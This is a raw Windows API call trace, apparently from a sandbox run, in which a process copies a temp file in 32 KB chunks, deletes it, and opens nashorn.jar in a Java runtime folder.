	[0254.119] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.119] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.120] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.120] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.123] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.123] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.124] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.124] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.125] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.125] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.126] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.126] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.126] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.154] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.269] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.269] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.271] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.271] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.272] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.272] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.273] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.273] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.274] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.275] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.276] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.276] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.277] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.277] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.278] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.280] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.282] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.283] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.283] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.284] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.284] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.285] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.286] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.286] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.287] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.287] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.288] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.288] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.289] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.289] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.290] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.292] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.294] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.294] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.295] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.296] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.450] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.450] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.451] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.451] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.452] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.452] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.453] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.453] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.454] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.454] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.455] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.456] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.458] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.458] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.459] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.460] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.461] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.461] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.462] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.462] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.463] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.463] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.464] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.464] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.465] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.466] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.467] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.482] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.590] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.590] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.591] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.591] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.592] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x256d, lpOverlapped=0x0) returned 1
	[0254.592] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0x256d, lpNumberOfBytesWritten=0xc000211b74, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc000211b74*=0x256d, lpOverlapped=0x0) returned 1
	[0254.592] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000211bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211bd4*=0x0, lpOverlapped=0x0) returned 1
	[0254.592] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274")) returned 0
	[0254.592] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274")) returned 0
	[0254.592] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274")) returned 0x20
	[0254.592] CloseHandle (hObject=0x1b4) returned 1
	[0254.593] CloseHandle (hObject=0x1ac) returned 1
	[0254.886] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a233ee53138bc778935088e49fb82274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a233ee53138bc778935088e49fb82274")) returned 1
	[0254.889] SetEvent (hEvent=0xfc) returned 1
	[0254.889] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0254.889] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0254.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0254.889] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000211bf4 | out: lpMode=0xc000211bf4) returned 0
	[0254.890] GetFileType (hFile=0x1ac) returned 0x1
	[0254.890] GetFileType (hFile=0x1ac) returned 0x1
	[0254.890] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc000211c44 | out: lpFileInformation=0xc000211c44) returned 1
	[0254.890] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc000211c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000211c28) returned 1
	[0254.890] SwitchToThread () returned 1
	[0255.046] SwitchToThread () returned 1
	[0255.047] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.057] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.071] SetEvent (hEvent=0x190) returned 1
	[0255.071] SetEvent (hEvent=0xf0) returned 1
	[0255.344] SetEvent (hEvent=0x190) returned 1
	[0255.344] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
